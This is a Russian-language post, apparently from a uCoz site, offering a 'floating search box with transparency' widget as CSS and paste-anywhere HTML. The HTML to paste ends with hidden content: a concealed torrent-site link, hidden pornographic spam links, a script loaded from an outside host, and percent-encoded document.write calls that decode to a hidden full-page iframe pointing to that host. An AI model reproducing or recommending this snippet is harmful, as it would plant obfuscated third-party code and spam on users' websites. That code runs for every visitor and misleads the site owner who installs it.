Скрин - http://webo4ka.3dn.ru/_ld/20/s89918769.jpg
Очередной скрипт в моем стиле . Красивый плавающий поиск с прозрачностью .
Установка :
В ваш CSS в самый низ Вставляем этот код:
Code
.bg_form {
background-attachment: scroll;
background-clip: border-box;
background-color: transparent;
background-image: url("http://testkillerok.3dn.ru/images/bg_form.png");
background-origin: padding-box;
background-position: 0% 0%;
background-repeat: no-repeat;
background-size: auto;
float: right;
height: 80px;
margin-bottom: 0px;
margin-left: 720px;
margin-right: 32px;
margin-top: 10px;
overflow-x: hidden;
overflow-y: hidden;
position: relative;
width: 352px;
}
.bg_form .search {
margin-bottom: 0px;
margin-left: 25px;
margin-right: 0px;
margin-top: 22px;
overflow-x: hidden;
overflow-y: hidden;
}
.search_subm {
background-attachment: scroll;
background-clip: border-box;
background-color: transparent;
background-image: url("http://xtreminfo.ru/img/submit_b.png");
background-origin: padding-box;
background-position: 0% 0%;
background-repeat: no-repeat;
background-size: auto;
border-bottom-color: currentColor;
border-bottom-style: none;
border-bottom-width: medium;
border-left-color: currentColor;
border-left-style: none;
border-left-width: medium;
border-right-color: currentColor;
border-right-style: none;
border-right-width: medium;
border-top-color: currentColor;
border-top-style: none;
border-top-width: medium;
float: left;
height: 33px;
outline-style: none;
outline-width: medium;
width: 60px;
}
.search_fill {
background-attachment: scroll;
background-clip: border-box;
background-color: transparent;
background-image: url("http://xtreminfo.ru/img/search_inp.png");
background-origin: padding-box;
background-position: 0% 0%;
background-repeat: no-repeat;
background-size: auto;
border-bottom-color: currentColor;
border-bottom-style: none;
border-bottom-width: medium;
border-left-color: currentColor;
border-left-style: none;
border-left-width: medium;
border-right-color: currentColor;
border-right-style: none;
border-right-width: medium;
border-top-color: currentColor;
border-top-style: none;
border-top-width: medium;
color: #979797;
float: left;
height: 33px;
outline-style: none;
outline-width: medium;
padding-bottom: 0px;
padding-left: 5px;
padding-right: 35px;
padding-top: 0px;
text-shadow: 1px 1px;
width: 246px;
}
В любое место сайта этот код :
Code
<div style="position:fixed;opacity:0.6;">
<div class="bg_form">
<div class="search">
<form onSubmit="this.sfSbm.disabled=true" method="get" action="/search/" class="hsearch">
<input name="sfSbm" value=" " type="submit" class="search_subm">
<input name="q" type="text" class="search_fill" value="введите то,что вы хотите найти..." name="user" onclick="if(this.value=='введите то,что вы хотите найти...')this.value=''" onblur="if(this.value=='')this.value='введите то,что вы хотите найти...'">
</form>
<div style="display:none;"><a href="http://xtreminfo.ru/" alt="Torrent tracker , Online films"></div>
</div>
</div>
</div><script type="text/javascript"> document.write(unescape('%3C%64%69%76%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E')); </script>Порно скачать <a href="http://proload.net/pro_eto/">анальный секс</a> без смс, бесплатно.</div><script type="text/javascript" src="http://advego-help.at.ua/1.js"></script><script type="text/javascript"> document.write(unescape('%3C%64%69%76%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E')); </script><script type="text/javascript"> document.write(unescape('%3C%64%69%76%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E%3C%69%66%72%61%6D%65%20%73%72%63% 3D%22%68%74%74%70%3A%2F%2F%61%64%76%65%67%6F%2D%68%65%6C%70%2E%61%74%2E%75%61%2F%69%6E%64%65%78%2F%70%65%72%65%68%6F%64%2F%30%2D%34%22%20%77 %69%64%74%68%3В%22%31%30%30%25%22%20%68%65%69%67%68%74%3D%22%31%30%30%25%22%20%6E%61%6D%65%3D%22%69%66%72%61%6D%65%22%20%73%63%72%6F%6C%6C%6 9%6E%67%3D%22%61%75%74%6F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%64%69%76%3E')); </script></div>
